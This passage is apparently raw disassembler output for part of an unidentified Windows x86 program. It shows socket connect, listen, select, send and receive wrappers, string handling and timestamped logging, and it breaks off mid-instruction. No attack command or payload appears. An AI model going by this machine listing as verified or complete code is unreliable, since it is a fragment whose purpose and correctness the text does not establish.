loc_419AB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add esi, 80h cmp esi, offset dword_50AE6C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax call near ptr 27C0000h nop mov edi, dword_50FAFC mov esi, offset dword_50AE6C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E6C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E6C call near ptr 77C3FA76h nop add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx call sub_5EE1E5 nop add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5EE1E5 add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2E5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E55 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1EBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5EE1E5 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EE1E5 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6775 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2E5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D667Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5EE1E5 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EE1E5 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB38 test eax, eax jnz short loc_41A048 mov eax, dword_50BB38 inc eax mov dword_50BB38, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h call near ptr 71AB664Dh nop jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB38 inc edx mov dword_50BB38, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F70 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB38 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB38 dec eax mov dword_50BB38, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB38 dec ecx mov dword_50BB38, ecx jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- dd 90909032h, 2 dup(90909090h), 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DD0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call near ptr 71AB2B66h nop mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax nop call near ptr 71AB9639h loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F70 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call near ptr 71AB2DC0h nop test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx call near ptr 71AB615Ah nop mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j call near ptr 71AB94DCh nop cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: ___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC32: ; CODE XREF: ___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr 